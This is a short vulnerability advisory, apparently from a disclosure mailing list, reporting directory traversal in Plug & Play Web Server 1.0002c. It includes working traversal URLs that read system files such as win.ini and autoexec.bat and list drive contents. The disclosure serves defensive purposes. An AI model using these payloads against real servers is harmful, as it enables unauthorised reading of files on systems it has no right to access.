Directory traversal in Plug & Play Web Server

[Bahaa Naamneh <b_naamneh@xxxxxxxxxxx>]

Directory traversal in Plug & Play Web Server


Introduction:
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"The Plug and Play Web Server provides all of the tools you need to host your 
own website. The tools are bundled together in one comprehensive software 
package that it is incredibly easy to use and maintain."
- Vendors Description
   [ http://www.pandpsoftware.com ]


Details:
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Vulnerable systems: Plug & Play Web Server version 1.0002c

Plug & Play Web Server have a Directory Traversal Vulnerability Using the 
string '../' or '..\' in a URL, an attacker can gain read access to any file 
outside of the intended web-published filesystem directory.

http://[target]/../../existing_file

http://[target]\..\..\existing_file

Examples:
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http://localhost/../../autoexec.bat

http://localhost/../../windows/win.ini

http://localhost/../../  [show the files and the folders in C drive - if the 
'Show Directory list when homepage does not exist' option is active.]


Vendor status:
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The vendor has been informed, and they are fixing this bug.
The updated version, when released, can be downloaded from:

http://www.pandpsoftware.com/download.htm


Discovered by/Credit:
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Bahaa Naamneh
b_naamneh@xxxxxxxxxxx
http://www.bsecurity.tk